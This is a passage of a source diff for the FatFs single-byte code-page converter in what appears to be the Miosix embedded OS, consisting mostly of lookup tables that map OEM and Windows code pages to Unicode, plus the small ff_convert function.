- 0x00CF, 0x2518, 0x250C, 0x2588, 0x2584, 0x00C6, 0x00CC, 0x2580, - 0x00D3, 0x00DF, 0x00D4, 0x00D2, 0x00F5, 0x00D5, 0x00B5, 0x00FE, - 0x00DE, 0x00DA, 0x00DB, 0x00D9, 0x00FD, 0x00DD, 0x00AF, 0x00B4, - 0x00AD, 0x00B1, 0x2017, 0x00BE, 0x00B6, 0x00A7, 0x00F7, 0x00B8, - 0x00B0, 0x00A8, 0x00B7, 0x00B9, 0x00B3, 0x00B2, 0x25A0, 0x00A0 -}; - -#elif _CODE_PAGE == 862 -#define _TBLDEF 1 -static -const WCHAR Tbl[] = { /* CP862(0x80-0xFF) to Unicode conversion table */ - 0x05D0, 0x05D1, 0x05D2, 0x05D3, 0x05D4, 0x05D5, 0x05D6, 0x05D7, - 0x05D8, 0x05D9, 0x05DA, 0x05DB, 0x05DC, 0x05DD, 0x05DE, 0x05DF, - 0x05E0, 0x05E1, 0x05E2, 0x05E3, 0x05E4, 0x05E5, 0x05E6, 0x05E7, - 0x05E8, 0x05E9, 0x05EA, 0x00A2, 0x00A3, 0x00A5, 0x20A7, 0x0192, - 0x00E1, 0x00ED, 0x00F3, 0x00FA, 0x00F1, 0x00D1, 0x00AA, 0x00BA, - 0x00BF, 0x2310, 0x00AC, 0x00BD, 0x00BC, 0x00A1, 0x00AB, 0x00BB, - 0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x2561, 0x2562, 0x2556, - 0x2555, 0x2563, 0x2551, 0x2557, 0x255D, 0x255C, 0x255B, 0x2510, - 0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x255E, 0x255F, - 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x2567, - 0x2568, 0x2564, 0x2565, 0x2559, 0x2558, 0x2552, 0x2553, 0x256B, - 0x256A, 0x2518, 0x250C, 0x2588, 0x2584, 0x258C, 0x2590, 0x2580, - 0x03B1, 0x00DF, 0x0393, 0x03C0, 0x03A3, 0x03C3, 0x00B5, 0x03C4, - 0x03A6, 0x0398, 0x03A9, 0x03B4, 0x221E, 0x03C6, 0x03B5, 0x2229, - 0x2261, 0x00B1, 0x2265, 0x2264, 0x2320, 0x2321, 0x00F7, 0x2248, - 0x00B0, 0x2219, 0x00B7, 0x221A, 0x207F, 0x00B2, 0x25A0, 0x00A0 -}; - -#elif _CODE_PAGE == 866 -#define _TBLDEF 1 -static -const WCHAR Tbl[] = { /* CP866(0x80-0xFF) to Unicode conversion table */ - 0x0410, 0x0411, 0x0412, 0x0413, 0x0414, 0x0415, 0x0416, 0x0417, - 0x0418, 0x0419, 0x041A, 0x041B, 0x041C, 0x041D, 0x041E, 0x041F, - 0x0420, 0x0421, 0x0422, 0x0423, 0x0424, 0x0425, 0x0426, 0x0427, - 0x0428, 0x0429, 0x042A, 0x042B, 0x042C, 0x042D, 0x042E, 0x042F, - 0x0430, 0x0431, 0x0432, 0x0433, 0x0434, 0x0435, 0x0436, 0x0437, - 0x0438, 0x0439, 0x043A, 0x043B, 0x043C, 0x043D, 0x043E, 0x043F, - 0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x2561, 0x2562, 0x2556, - 0x2555, 0x2563, 0x2551, 0x2557, 0x255D, 0x255C, 0x255B, 0x2510, - 0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x255E, 0x255F, - 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x2567, - 0x2568, 0x2564, 0x2565, 0x2559, 0x2558, 0x2552, 0x2553, 0x256B, - 0x256A, 0x2518, 0x250C, 0x2588, 0x2584, 0x258C, 0x2590, 0x2580, - 0x0440, 0x0441, 0x0442, 0x0443, 0x0444, 0x0445, 0x0446, 0x0447, - 0x0448, 0x0449, 0x044A, 0x044B, 0x044C, 0x044D, 0x044E, 0x044F, - 0x0401, 0x0451, 0x0404, 0x0454, 0x0407, 0x0457, 0x040E, 0x045E, - 0x00B0, 0x2219, 0x00B7, 0x221A, 0x2116, 0x00A4, 0x25A0, 0x00A0 -}; - -#elif _CODE_PAGE == 874 -#define _TBLDEF 1 -static -const WCHAR Tbl[] = { /* CP874(0x80-0xFF) to Unicode conversion table */ - 0x20AC, 0x0000, 0x0000, 0x0000, 0x0000, 0x2026, 0x0000, 0x0000, - 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, - 0x0000, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, - 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, - 0x00A0, 0x0E01, 0x0E02, 0x0E03, 0x0E04, 0x0E05, 0x0E06, 0x0E07, - 0x0E08, 0x0E09, 0x0E0A, 0x0E0B, 0x0E0C, 0x0E0D, 0x0E0E, 0x0E0F, - 0x0E10, 0x0E11, 0x0E12, 0x0E13, 0x0E14, 0x0E15, 0x0E16, 0x0E17, - 0x0E18, 0x0E19, 0x0E1A, 0x0E1B, 0x0E1C, 0x0E1D, 0x0E1E, 0x0E1F, - 0x0E20, 0x0E21, 0x0E22, 0x0E23, 0x0E24, 0x0E25, 0x0E26, 0x0E27, - 0x0E28, 0x0E29, 0x0E2A, 0x0E2B, 0x0E2C, 0x0E2D, 0x0E2E, 0x0E2F, - 0x0E30, 0x0E31, 0x0E32, 0x0E33, 0x0E34, 0x0E35, 0x0E36, 0x0E37, - 0x0E38, 0x0E39, 0x0E3A, 0x0000, 0x0000, 0x0000, 0x0000, 0x0E3F, - 0x0E40, 0x0E41, 0x0E42, 0x0E43, 0x0E44, 0x0E45, 0x0E46, 0x0E47, - 0x0E48, 0x0E49, 0x0E4A, 0x0E4B, 0x0E4C, 0x0E4D, 0x0E4E, 0x0E4F, - 0x0E50, 0x0E51, 0x0E52, 0x0E53, 0x0E54, 0x0E55, 0x0E56, 0x0E57, - 0x0E58, 0x0E59, 0x0E5A, 0x0E5B, 0x0000, 0x0000, 0x0000, 0x0000 -}; - -#elif _CODE_PAGE == 1250 -#define _TBLDEF 1 -static -const WCHAR Tbl[] = { /* CP1250(0x80-0xFF) to Unicode conversion table */ - 0x20AC, 0x0000, 0x201A, 0x0000, 0x201E, 0x2026, 0x2020, 0x2021, - 0x0000, 0x2030, 0x0160, 0x2039, 0x015A, 0x0164, 0x017D, 0x0179, - 0x0000, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, - 0x0000, 0x2122, 0x0161, 0x203A, 0x015B, 0x0165, 0x017E, 0x017A, - 0x00A0, 0x02C7, 0x02D8, 0x0141, 0x00A4, 0x0104, 0x00A6, 0x00A7, - 0x00A8, 0x00A9, 0x015E, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x017B, - 0x00B0, 0x00B1, 0x02DB, 0x0142, 0x00B4, 0x00B5, 0x00B6, 0x00B7, - 0x00B8, 0x0105, 0x015F, 0x00BB, 0x013D, 0x02DD, 0x013E, 0x017C, - 0x0154, 0x00C1, 0x00C2, 0x0102, 0x00C4, 0x0139, 0x0106, 0x00C7, - 0x010C, 0x00C9, 0x0118, 0x00CB, 0x011A, 0x00CD, 0x00CE, 0x010E, - 0x0110, 0x0143, 0x0147, 0x00D3, 0x00D4, 0x0150, 0x00D6, 0x00D7, - 0x0158, 0x016E, 0x00DA, 0x0170, 0x00DC, 0x00DD, 0x0162, 0x00DF, - 0x0155, 0x00E1, 0x00E2, 0x0103, 0x00E4, 0x013A, 0x0107, 0x00E7, - 0x010D, 0x00E9, 0x0119, 0x00EB, 0x011B, 0x00ED, 0x00EE, 0x010F, - 0x0111, 0x0144, 0x0148, 0x00F3, 0x00F4, 0x0151, 0x00F6, 0x00F7, - 0x0159, 0x016F, 0x00FA, 0x0171, 0x00FC, 0x00FD, 0x0163, 0x02D9 -}; - -#elif _CODE_PAGE == 1251 -#define _TBLDEF 1 -static -const WCHAR Tbl[] = { /* CP1251(0x80-0xFF) to Unicode conversion table */ - 0x0402, 0x0403, 0x201A, 0x0453, 0x201E, 0x2026, 0x2020, 0x2021, - 0x20AC, 0x2030, 0x0409, 0x2039, 0x040A, 0x040C, 0x040B, 0x040F, - 0x0452, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, - 0x0000, 0x2111, 0x0459, 0x203A, 0x045A, 0x045C, 0x045B, 0x045F, - 0x00A0, 0x040E, 0x045E, 0x0408, 0x00A4, 0x0490, 0x00A6, 0x00A7, - 0x0401, 0x00A9, 0x0404, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x0407, - 0x00B0, 0x00B1, 0x0406, 0x0456, 0x0491, 0x00B5, 0x00B6, 0x00B7, - 0x0451, 0x2116, 0x0454, 0x00BB, 0x0458, 0x0405, 0x0455, 0x0457, - 0x0410, 0x0411, 0x0412, 0x0413, 0x0414, 0x0415, 0x0416, 0x0417, - 0x0418, 0x0419, 0x041A, 0x041B, 0x041C, 0x041D, 0x041E, 0x041F, - 0x0420, 0x0421, 0x0422, 0x0423, 0x0424, 0x0425, 0x0426, 0x0427, - 0x0428, 0x0429, 0x042A, 0x042B, 0x042C, 0x042D, 0x042E, 0x042F, - 0x0430, 0x0431, 0x0432, 0x0433, 0x0434, 0x0435, 0x0436, 0x0437, - 0x0438, 0x0439, 0x043A, 0x043B, 0x043C, 0x043D, 0x043E, 0x043F, - 0x0440, 0x0441, 0x0442, 0x0443, 0x0444, 0x0445, 0x0446, 0x0447, - 0x0448, 0x0449, 0x044A, 0x044B, 0x044C, 0x044D, 0x044E, 0x044F -}; - -#elif _CODE_PAGE == 1252 -#define _TBLDEF 1 -static -const WCHAR Tbl[] = { /* CP1252(0x80-0xFF) to Unicode conversion table */ - 0x20AC, 0x0000, 0x201A, 0x0192, 0x201E, 0x2026, 0x2020, 0x2021, - 0x02C6, 0x2030, 0x0160, 0x2039, 0x0152, 0x0000, 0x017D, 0x0000, - 0x0000, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, - 0x02DC, 0x2122, 0x0161, 0x203A, 0x0153, 0x0000, 0x017E, 0x0178, - 0x00A0, 0x00A1, 0x00A2, 0x00A3, 0x00A4, 0x00A5, 0x00A6, 0x00A7, - 0x00A8, 0x00A9, 0x00AA, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x00AF, - 0x00B0, 0x00B1, 0x00B2, 0x00B3, 0x00B4, 0x00B5, 0x00B6, 0x00B7, - 0x00B8, 0x00B9, 0x00BA, 0x00BB, 0x00BC, 0x00BD, 0x00BE, 0x00BF, - 0x00C0, 0x00C1, 0x00C2, 0x00C3, 0x00C4, 0x00C5, 0x00C6, 0x00C7, - 0x00C8, 0x00C9, 0x00CA, 0x00CB, 0x00CC, 0x00CD, 0x00CE, 0x00CF, - 0x00D0, 0x00D1, 0x00D2, 0x00D3, 0x00D4, 0x00D5, 0x00D6, 0x00D7, - 0x00D8, 0x00D9, 0x00DA, 0x00DB, 0x00DC, 0x00DD, 0x00DE, 0x00DF, - 0x00E0, 0x00E1, 0x00E2, 0x00E3, 0x00E4, 0x00E5, 0x00E6, 0x00E7, - 0x00E8, 0x00E9, 0x00EA, 0x00EB, 0x00EC, 0x00ED, 0x00EE, 0x00EF, - 0x00F0, 0x00F1, 0x00F2, 0x00F3, 0x00F4, 0x00F5, 0x00F6, 0x00F7, - 0x00F8, 0x00F9, 0x00FA, 0x00FB, 0x00FC, 0x00FD, 0x00FE, 0x00FF -}; - -#elif _CODE_PAGE == 1253 -#define _TBLDEF 1 -static -const WCHAR Tbl[] = { /* CP1253(0x80-0xFF) to Unicode conversion table */ - 0x20AC, 0x0000, 0x201A, 0x0192, 0x201E, 0x2026, 0x2020, 0x2021, - 0x0000, 0x2030, 0x0000, 0x2039, 0x000C, 0x0000, 0x0000, 0x0000, - 0x0000, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, - 0x0000, 0x2122, 0x0000, 0x203A, 0x0000, 0x0000, 0x0000, 0x0000, - 0x00A0, 0x0385, 0x0386, 0x00A3, 0x00A4, 0x00A5, 0x00A6, 0x00A7, - 0x00A8, 0x00A9, 0x0000, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x2015, - 0x00B0, 0x00B1, 0x00B2, 0x00B3, 0x0384, 0x00B5, 0x00B6, 0x00B7, - 0x0388, 0x0389, 0x038A, 0x00BB, 0x038C, 0x00BD, 0x038E, 0x038F, - 0x0390, 0x0391, 0x0392, 0x0393, 0x0394, 0x0395, 0x0396, 0x0397, - 0x0398, 0x0399, 0x039A, 0x039B, 0x039C, 0x039D, 0x039E, 0x039F, - 0x03A0, 0x03A1, 0x0000, 0x03A3, 0x03A4, 0x03A5, 0x03A6, 0x03A7, - 0x03A8, 0x03A9, 0x03AA, 0x03AD, 0x03AC, 0x03AD, 0x03AE, 0x03AF, - 0x03B0, 0x03B1, 0x03B2, 0x03B3, 0x03B4, 0x03B5, 0x03B6, 0x03B7, - 0x03B8, 0x03B9, 0x03BA, 0x03BB, 0x03BC, 0x03BD, 0x03BE, 0x03BF, - 0x03C0, 0x03C1, 0x03C2, 0x03C3, 0x03C4, 0x03C5, 0x03C6, 0x03C7, - 0x03C8, 0x03C9, 0x03CA, 0x03CB, 0x03CC, 0x03CD, 0x03CE, 0x0000 -}; - -#elif _CODE_PAGE == 1254 -#define _TBLDEF 1 -static -const WCHAR Tbl[] = { /* CP1254(0x80-0xFF) to Unicode conversion table */ - 0x20AC, 0x0000, 0x210A, 0x0192, 0x201E, 0x2026, 0x2020, 0x2021, - 0x02C6, 0x2030, 0x0160, 0x2039, 0x0152, 0x0000, 0x0000, 0x0000, - 0x0000, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, - 0x02DC, 0x2122, 0x0161, 0x203A, 0x0153, 0x0000, 0x0000, 0x0178, - 0x00A0, 0x00A1, 0x00A2, 0x00A3, 0x00A4, 0x00A5, 0x00A6, 0x00A7, - 0x00A8, 0x00A9, 0x00AA, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x00AF, - 0x00B0, 0x00B1, 0x00B2, 0x00B3, 0x00B4, 0x00B5, 0x00B6, 0x00B7, - 0x00B8, 0x00B9, 0x00BA, 0x00BB, 0x00BC, 0x00BD, 0x00BE, 0x00BF, - 0x00C0, 0x00C1, 0x00C2, 0x00C3, 0x00C4, 0x00C5, 0x00C6, 0x00C7, - 0x00C8, 0x00C9, 0x00CA, 0x00CB, 0x00CC, 0x00CD, 0x00CE, 0x00CF, - 0x011E, 0x00D1, 0x00D2, 0x00D3, 0x00D4, 0x00D5, 0x00D6, 0x00D7, - 0x00D8, 0x00D9, 0x00DA, 0x00BD, 0x00DC, 0x0130, 0x015E, 0x00DF, - 0x00E0, 0x00E1, 0x00E2, 0x00E3, 0x00E4, 0x00E5, 0x00E6, 0x00E7, - 0x00E8, 0x00E9, 0x00EA, 0x00EB, 0x00EC, 0x00ED, 0x00EE, 0x00EF, - 0x011F, 0x00F1, 0x00F2, 0x00F3, 0x00F4, 0x00F5, 0x00F6, 0x00F7, - 0x00F8, 0x00F9, 0x00FA, 0x00FB, 0x00FC, 0x0131, 0x015F, 0x00FF -}; - -#elif _CODE_PAGE == 1255 -#define _TBLDEF 1 -static -const WCHAR Tbl[] = { /* CP1255(0x80-0xFF) to Unicode conversion table */ - 0x20AC, 0x0000, 0x201A, 0x0192, 0x201E, 0x2026, 0x2020, 0x2021, - 0x02C6, 0x2030, 0x0000, 0x2039, 0x0000, 0x0000, 0x0000, 0x0000, - 0x0000, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, - 0x02DC, 0x2122, 0x0000, 0x203A, 0x0000, 0x0000, 0x0000, 0x0000, - 0x00A0, 0x00A1, 0x00A2, 0x00A3, 0x00A4, 0x00A5, 0x00A6, 0x00A7, - 0x00A8, 0x00A9, 0x00D7, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x00AF, - 0x00B0, 0x00B1, 0x00B2, 0x00B3, 0x00B4, 0x00B5, 0x00B6, 0x00B7, - 0x00B8, 0x00B9, 0x00F7, 0x00BB, 0x00BC, 0x00BD, 0x00BE, 0x00BF, - 0x05B0, 0x05B1, 0x05B2, 0x05B3, 0x05B4, 0x05B5, 0x05B6, 0x05B7, - 0x05B8, 0x05B9, 0x0000, 0x05BB, 0x05BC, 0x05BD, 0x05BE, 0x05BF, - 0x05C0, 0x05C1, 0x05C2, 0x05C3, 0x05F0, 0x05F1, 0x05F2, 0x05F3, - 0x05F4, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, - 0x05D0, 0x05D1, 0x05D2, 0x05D3, 0x05D4, 0x05D5, 0x05D6, 0x05D7, - 0x05D8, 0x05D9, 0x05DA, 0x05DB, 0x05DC, 0x05DD, 0x05DE, 0x05DF, - 0x05E0, 0x05E1, 0x05E2, 0x05E3, 0x05E4, 0x05E5, 0x05E6, 0x05E7, - 0x05E8, 0x05E9, 0x05EA, 0x0000, 0x0000, 0x200E, 0x200F, 0x0000 -}; - -#elif _CODE_PAGE == 1256 -#define _TBLDEF 1 -static -const WCHAR Tbl[] = { /* CP1256(0x80-0xFF) to Unicode conversion table */ - 0x20AC, 0x067E, 0x201A, 0x0192, 0x201E, 0x2026, 0x2020, 0x2021, - 0x02C6, 0x2030, 0x0679, 0x2039, 0x0152, 0x0686, 0x0698, 0x0688, - 0x06AF, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, - 0x06A9, 0x2122, 0x0691, 0x203A, 0x0153, 0x200C, 0x200D, 0x06BA, - 0x00A0, 0x060C, 0x00A2, 0x00A3, 0x00A4, 0x00A5, 0x00A6, 0x00A7, - 0x00A8, 0x00A9, 0x06BE, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x00AF, - 0x00B0, 0x00B1, 0x00B2, 0x00B3, 0x00B4, 0x00B5, 0x00B6, 0x00B7, - 0x00B8, 0x00B9, 0x061B, 0x00BB, 0x00BC, 0x00BD, 0x00BE, 0x061F, - 0x06C1, 0x0621, 0x0622, 0x0623, 0x0624, 0x0625, 0x0626, 0x0627, - 0x0628, 0x0629, 0x062A, 0x062B, 0x062C, 0x062D, 0x062E, 0x062F, - 0x0630, 0x0631, 0x0632, 0x0633, 0x0634, 0x0635, 0x0636, 0x00D7, - 0x0637, 0x0638, 0x0639, 0x063A, 0x0640, 0x0640, 0x0642, 0x0643, - 0x00E0, 0x0644, 0x00E2, 0x0645, 0x0646, 0x0647, 0x0648, 0x00E7, - 0x00E8, 0x00E9, 0x00EA, 0x00EB, 0x0649, 0x064A, 0x00EE, 0x00EF, - 0x064B, 0x064C, 0x064D, 0x064E, 0x00F4, 0x064F, 0x0650, 0x00F7, - 0x0651, 0x00F9, 0x0652, 0x00FB, 0x00FC, 0x200E, 0x200F, 0x06D2 -} - -#elif _CODE_PAGE == 1257 -#define _TBLDEF 1 -static -const WCHAR Tbl[] = { /* CP1257(0x80-0xFF) to Unicode conversion table */ - 0x20AC, 0x0000, 0x201A, 0x0000, 0x201E, 0x2026, 0x2020, 0x2021, - 0x0000, 0x2030, 0x0000, 0x2039, 0x0000, 0x00A8, 0x02C7, 0x00B8, - 0x0000, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, - 0x0000, 0x2122, 0x0000, 0x203A, 0x0000, 0x00AF, 0x02DB, 0x0000, - 0x00A0, 0x0000, 0x00A2, 0x00A3, 0x00A4, 0x0000, 0x00A6, 0x00A7, - 0x00D8, 0x00A9, 0x0156, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x00AF, - 0x00B0, 0x00B1, 0x00B2, 0x00B3, 0x00B4, 0x00B5, 0x00B6, 0x00B7, - 0x00B8, 0x00B9, 0x0157, 0x00BB, 0x00BC, 0x00BD, 0x00BE, 0x00E6, - 0x0104, 0x012E, 0x0100, 0x0106, 0x00C4, 0x00C5, 0x0118, 0x0112, - 0x010C, 0x00C9, 0x0179, 0x0116, 0x0122, 0x0136, 0x012A, 0x013B, - 0x0160, 0x0143, 0x0145, 0x00D3, 0x014C, 0x00D5, 0x00D6, 0x00D7, - 0x0172, 0x0141, 0x015A, 0x016A, 0x00DC, 0x017B, 0x017D, 0x00DF, - 0x0105, 0x012F, 0x0101, 0x0107, 0x00E4, 0x00E5, 0x0119, 0x0113, - 0x010D, 0x00E9, 0x017A, 0x0117, 0x0123, 0x0137, 0x012B, 0x013C, - 0x0161, 0x0144, 0x0146, 0x00F3, 0x014D, 0x00F5, 0x00F6, 0x00F7, - 0x0173, 0x014E, 0x015B, 0x016B, 0x00FC, 0x017C, 0x017E, 0x02D9 -}; - -#elif _CODE_PAGE == 1258 -#define _TBLDEF 1 -static -const WCHAR Tbl[] = { /* CP1258(0x80-0xFF) to Unicode conversion table */ - 0x20AC, 0x0000, 0x201A, 0x0192, 0x201E, 0x2026, 0x2020, 0x2021, - 0x02C6, 0x2030, 0x0000, 0x2039, 0x0152, 0x0000, 0x0000, 0x0000, - 0x0000, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, - 0x02DC, 0x2122, 0x0000, 0x203A, 0x0153, 0x0000, 0x0000, 0x0178, - 0x00A0, 0x00A1, 0x00A2, 0x00A3, 0x00A4, 0x00A5, 0x00A6, 0x00A7, - 0x00A8, 0x00A9, 0x00AA, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x00AF, - 0x00B0, 0x00B1, 0x00B2, 0x00B3, 0x00B4, 0x00B5, 0x00B6, 0x00B7, - 0x00B8, 0x00B9, 0x00BA, 0x00BB, 0x00BC, 0x00BD, 0x00BE, 0x00BF, - 0x00C0, 0x00C1, 0x00C2, 0x0102, 0x00C4, 0x00C5, 0x00C6, 0x00C7, - 0x00C8, 0x00C9, 0x00CA, 0x00CB, 0x0300, 0x00CD, 0x00CE, 0x00CF, - 0x0110, 0x00D1, 0x0309, 0x00D3, 0x00D4, 0x01A0, 0x00D6, 0x00D7, - 0x00D8, 0x00D9, 0x00DA, 0x00DB, 0x00DC, 0x01AF, 0x0303, 0x00DF, - 0x00E0, 0x00E1, 0x00E2, 0x0103, 0x00E4, 0x00E5, 0x00E6, 0x00E7, - 0x00E8, 0x00E9, 0x00EA, 0x00EB, 0x0301, 0x00ED, 0x00EE, 0x00EF, - 0x0111, 0x00F1, 0x0323, 0x00F3, 0x00F4, 0x01A1, 0x00F6, 0x00F7, - 0x00F8, 0x00F9, 0x00FA, 0x00FB, 0x00FC, 0x01B0, 0x20AB, 0x00FF -}; - -#endif - - -#if !_TBLDEF || !_USE_LFN -#error This file is not needed in current configuration. Remove from the project. -#endif - - -WCHAR ff_convert ( /* Converted character, Returns zero on error */ - WCHAR chr, /* Character code to be converted */ - UINT dir /* 0: Unicode to OEMCP, 1: OEMCP to Unicode */ -) -{ - WCHAR c; - - - if (chr < 0x80) { /* ASCII */ - c = chr; - - } else { - if (dir) { /* OEMCP to Unicode */ - c = (chr >= 0x100) ? 0 : Tbl[chr - 0x80]; - - } else { /* Unicode to OEMCP */ - for (c = 0; c < 0x80; c++) { - if (chr == Tbl[c]) break; - } - c = (c + 0x80) & 0xFF; - } - } - - return c; -} - -#endif //WITH_FILESYSTEM - +/*------------------------------------------------------------------------*/ +/* Unicode - Local code bidirectional converter (C)ChaN, 2012 */ +/* (SBCS code pages) */ +/*------------------------------------------------------------------------*/ +/* 437 U.S. (OEM) +/ 720 Arabic (OEM) +/ 1256 Arabic (Windows) +/ 737 Greek (OEM) +/ 1253 Greek (Windows) +/ 1250 Central Europe (Windows) +/ 775 Baltic (OEM) +/ 1257 Baltic (Windows) +/ 850 Multilingual Latin 1 (OEM) +/ 852 Latin 2 (OEM) +/ 1252 Latin 1 (Windows) +/ 855 Cyrillic (OEM) +/ 1251 Cyrillic (Windows) +/ 866 Russian (OEM) +/ 857 Turkish (OEM) +/ 1254 Turkish (Windows) +/ 858 Multilingual Latin 1 + Euro (OEM) +/ 862 Hebrew (OEM) +/ 1255 Hebrew (Windows) +/ 874 Thai (OEM, Windows) +/ 1258 Vietnam (OEM, Windows) +*/ + +#include "ff.h" +#include "miosix_settings.h" + +#ifdef WITH_FILESYSTEM + +#if _CODE_PAGE == 437 +#define _TBLDEF 1 +static +const WCHAR Tbl[] = { /* CP437(0x80-0xFF) to Unicode conversion table */ + 0x00C7, 0x00FC, 0x00E9, 0x00E2, 0x00E4, 0x00E0, 0x00E5, 0x00E7, + 0x00EA, 0x00EB, 0x00E8, 0x00EF, 0x00EE, 0x00EC, 0x00C4, 0x00C5, + 0x00C9, 0x00E6, 0x00C6, 0x00F4, 0x00F6, 0x00F2, 0x00FB, 0x00F9, + 0x00FF, 0x00D6, 0x00DC, 0x00A2, 0x00A3, 0x00A5, 0x20A7, 0x0192, + 0x00E1, 0x00ED, 0x00F3, 0x00FA, 0x00F1, 0x00D1, 0x00AA, 0x00BA, + 0x00BF, 0x2310, 0x00AC, 0x00BD, 0x00BC, 0x00A1, 0x00AB, 0x00BB, + 0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x2561, 0x2562, 0x2556, + 0x2555, 0x2563, 0x2551, 0x2557, 0x255D, 0x255C, 0x255B, 0x2510, + 0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x255E, 0x255F, + 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x2567, + 0x2568, 0x2564, 0x2565, 0x2559, 0x2558, 0x2552, 0x2553, 0x256B, + 0x256A, 0x2518, 0x250C, 0x2588, 0x2584, 0x258C, 0x2590, 0x2580, + 0x03B1, 0x00DF, 0x0393, 0x03C0, 0x03A3, 0x03C3, 0x00B5, 0x03C4, + 0x03A6, 0x0398, 0x03A9, 0x03B4, 0x221E, 0x03C6, 0x03B5, 0x2229, + 0x2261, 0x00B1, 0x2265, 0x2264, 0x2320, 0x2321, 0x00F7, 0x2248, + 0x00B0, 0x2219, 0x00B7, 0x221A, 0x207F, 0x00B2, 0x25A0, 0x00A0 +}; + +#elif _CODE_PAGE == 720 +#define _TBLDEF 1 +static +const WCHAR Tbl[] = { /* CP720(0x80-0xFF) to Unicode conversion table */ + 0x0000, 0x0000, 0x00E9, 0x00E2, 0x0000, 0x00E0, 0x0000, 0x00E7, + 0x00EA, 0x00EB, 0x00E8, 0x00EF, 0x00EE, 0x0000, 0x0000, 0x0000, + 0x0000, 0x0651, 0x0652, 0x00F4, 0x00A4, 0x0640, 0x00FB, 0x00F9, + 0x0621, 0x0622, 0x0623, 0x0624, 0x00A3, 0x0625, 0x0626, 0x0627, + 0x0628, 0x0629, 0x062A, 0x062B, 0x062C, 0x062D, 0x062E, 0x062F, + 0x0630, 0x0631, 0x0632, 0x0633, 0x0634, 0x0635, 0x00AB, 0x00BB, + 0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x2561, 0x2562, 0x2556, + 0x2555, 0x2563, 0x2551, 0x2557, 0x255D, 0x255C, 0x255B, 0x2510, + 0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x255E, 0x255F, + 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x2567, + 0x2568, 0x2564, 0x2565, 0x2559, 0x2558, 0x2552, 0x2553, 0x256B, + 0x256A, 0x2518, 0x250C, 0x2588, 0x2584, 0x258C, 0x2590, 0x2580, + 0x0636, 0x0637, 0x0638, 0x0639, 0x063A, 0x0641, 0x00B5, 0x0642, + 0x0643, 0x0644, 0x0645, 0x0646, 0x0647, 0x0648, 0x0649, 0x064A, + 0x2261, 0x064B, 0x064C, 0x064D, 0x064E, 0x064F, 0x0650, 0x2248, + 0x00B0, 0x2219, 0x00B7, 0x221A, 0x207F, 0x00B2, 0x25A0, 0x00A0 +}; + +#elif _CODE_PAGE == 737 +#define _TBLDEF 1 +static +const WCHAR Tbl[] = { /* CP737(0x80-0xFF) to Unicode conversion table */ + 0x0391, 0x0392, 0x0393, 0x0394, 0x0395, 0x0396, 0x0397, 0x0398, + 0x0399, 0x039A, 0x039B, 0x039C, 0x039D, 0x039E, 0x039F, 0x03A0, + 0x03A1, 0x03A3, 0x03A4, 0x03A5, 0x03A6, 0x03A7, 0x03A8, 0x03A9, + 0x03B1, 0x03B2, 0x03B3, 0x03B4, 0x03B5, 0x03B6, 0x03B7, 0x03B8, + 0x03B9, 0x03BA, 0x03BB, 0x03BC, 0x03BD, 0x03BE, 0x03BF, 0x03C0, + 0x03C1, 0x03C3, 0x03C2, 0x03C4, 0x03C5, 0x03C6, 0x03C7, 0x03C8, + 0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x2561, 0x2562, 0x2556, + 0x2555, 0x2563, 0x2551, 0x2557, 0x255D, 0x255C, 0x255B, 0x2510, + 0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x255E, 0x255F, + 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x2567, + 0x2568, 0x2564, 0x2565, 0x2559, 0x2558, 0x2552, 0x2553, 0x256B, + 0x256A, 0x2518, 0x250C, 0x2588, 0x2584, 0x258C, 0x2590, 0x2580, + 0x03C9, 0x03AC, 0x03AD, 0x03AE, 0x03CA, 0x03AF, 0x03CC, 0x03CD, + 0x03CB, 0x03CE, 0x0386, 0x0388, 0x0389, 0x038A, 0x038C, 0x038E, + 0x038F, 0x00B1, 0x2265, 0x2264, 0x03AA, 0x03AB, 0x00F7, 0x2248, + 0x00B0, 0x2219, 0x00B7, 0x221A, 0x207F, 0x00B2, 0x25A0, 0x00A0 +}; + +#elif _CODE_PAGE == 775 +#define 